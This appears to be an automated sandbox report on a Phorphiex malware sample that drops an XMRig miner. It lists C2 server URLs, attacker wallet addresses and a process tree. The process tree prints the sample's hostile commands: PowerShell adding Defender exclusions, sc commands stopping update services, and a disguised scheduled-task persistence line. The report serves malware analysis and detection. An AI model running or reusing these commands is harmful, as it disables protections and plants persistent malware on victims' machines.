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12/08/2024, 15:00

240812-sdmc5a1amd10

11/08/2024, 22:36

240811-2h7passckm10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    12/08/2024, 15:00

General

  • Target
    73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe
  • Size 2.6MB
  • Sample240812-sdmc5a1amd
  • SHA256 73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://185.215.113.66/

  • http://77.91.77.92/

  • http://91.202.233.141/

Wallets
  • 0xCa90599132C4D88907Bd8E046540284aa468a035

  • TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

  • qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

  • XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

  • LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

  • rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

  • 4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

  • 15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

  • 17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

  • ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

  • 3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

  • 3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

  • DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

  • t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

  • stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

  • bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

  • bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

  • bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

  • GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes
  • mutex

    55a4er5wo

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Phorphiex payload 2 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 12 IoCs
  • Windows security modification 2 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1200
      • C:\Users\Admin\AppData\Local\Temp\73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe
        "C:\Users\Admin\AppData\Local\Temp\73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe"
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2560
        • C:\Users\Admin\AppData\Local\Temp\A7E3.exe
          "C:\Users\Admin\AppData\Local\Temp\A7E3.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2416
          • C:\Windows\sysmablsvr.exe
            C:\Windows\sysmablsvr.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Loads dropped DLL
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2912
            • C:\Users\Admin\AppData\Local\Temp\179104935.exe
              C:\Users\Admin\AppData\Local\Temp\179104935.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2704
            • C:\Users\Admin\AppData\Local\Temp\2370628979.exe
              C:\Users\Admin\AppData\Local\Temp\2370628979.exe
              5⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1952
              • C:\Windows\sysmysldrv.exe
                C:\Windows\sysmysldrv.exe
                6⤵
                • Modifies security service
                • Windows security bypass
                • Executes dropped EXE
                • Loads dropped DLL
                • Windows security modification
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: SetClipboardViewer
                • Suspicious use of WriteProcessMemory
                PID:2008
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2076
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1192
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:316
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop UsoSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:2288
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop WaaSMedicSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:1988
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop wuauserv
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:2596
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop DoSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:748
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop BITS
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:1788
                • C:\Users\Admin\AppData\Local\Temp\2635231759.exe
                  C:\Users\Admin\AppData\Local\Temp\2635231759.exe
                  7⤵
                  • Executes dropped EXE
                  PID:572
                • C:\Users\Admin\AppData\Local\Temp\1564923140.exe
                  C:\Users\Admin\AppData\Local\Temp\1564923140.exe
                  7⤵
                  • Executes dropped EXE
                  PID:2132
                • C:\Users\Admin\AppData\Local\Temp\1138929138.exe
                  C:\Users\Admin\AppData\Local\Temp\1138929138.exe
                  7⤵
                  • Executes dropped EXE
                  PID:1136
            • C:\Users\Admin\AppData\Local\Temp\1531131556.exe
              C:\Users\Admin\AppData\Local\Temp\1531131556.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:656
              • C:\Users\Admin\AppData\Local\Temp\3665124956.exe
                C:\Users\Admin\AppData\Local\Temp\3665124956.exe
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:2180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2028
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1752
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
        2⤵
          PID:2212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2188
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2004
        • C:\Windows\System32\notepad.exe
          C:\Windows\System32\notepad.exe
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:2432
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {E557E507-B8EF-49D2-87D6-DD569EF8A081} S-1-5-21-1506706701-1246725540-2219210854-1000:MUYDDIIS\Admin:Interactive:[1]
        1⤵
        • Loads dropped DLL
        PID:2668
        • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
          "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          PID:2644

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            2Q714CSQ9FPDN73KRG10.temp

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2Q714CSQ9FPDN73KRG10.temp
            • Size 7KB
            • SHA256 0fa7187d4efe00af1aaf6b38d00a018931be438f3cd8243a46f6346262946f49
            • MD5 SHA1 SHA512 SSDEEP

            tbtnds.dat

            • Path C:\Users\Admin\tbtnds.dat
            • Size 3KB
            • SHA256 9fe63f3bb2d7a142c208fe8e9978b8cc2a7de22cf5256fd60581bb461614d1be
            • MD5 SHA1 SHA512

            1531131556.exe

            • Path \Users\Admin\AppData\Local\Temp\1531131556.exe
            • Size 10KB
            • SHA256 5016e413b0c563efc920165e7235c9f2706808877668bd297b41435acc7aade4
            • MD5 SHA1 SHA512 SSDEEP

            179104935.exe

            • Path \Users\Admin\AppData\Local\Temp\179104935.exe
            • Size 7KB
            • SHA256 7b7d433c6c204ed3bcd1ea74106592edfa1a30b6ef7bbc3ed21efcbadc51e526
            • MD5 SHA1 SHA512 SSDEEP

            2370628979.exe

            • Path \Users\Admin\AppData\Local\Temp\2370628979.exe
            • Size 92KB
            • SHA256 d281e0a0f1e1073f2d290a7eb1f77bed4c210dbf83a0f4f4e22073f50faa843f
            • MD5 SHA1 SHA512 SSDEEP

            3665124956.exe

            • Path \Users\Admin\AppData\Local\Temp\3665124956.exe
            • Size 5.4MB
            • SHA256 dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493
            • MD5 SHA1 SHA512 SSDEEP

            A7E3.exe

            • Path \Users\Admin\AppData\Local\Temp\A7E3.exe
            • Size 88KB
            • SHA256 a992920e64a64763f3dd8c2a431a0f5e56e5b3782a1496de92bc80ee71cca5ba
            • MD5 SHA1 SHA512 SSDEEP

            memory/2028-90-0x000000001B4A0000-0x000000001B782000-memory.dmp

            memory/2028-91-0x00000000028A0000-0x00000000028A8000-memory.dmp

            memory/2180-94-0x000000013FFA0000-0x0000000140516000-memory.dmp

            memory/2188-108-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

            memory/2188-109-0x0000000001F80000-0x0000000001F88000-memory.dmp

            memory/2432-113-0x00000000000B0000-0x00000000000D0000-memory.dmp

            memory/2432-115-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-116-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-117-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-120-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-121-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-122-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-125-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2432-126-0x0000000140000000-0x00000001407EF000-memory.dmp

            memory/2644-112-0x000000013FA20000-0x000000013FF96000-memory.dmp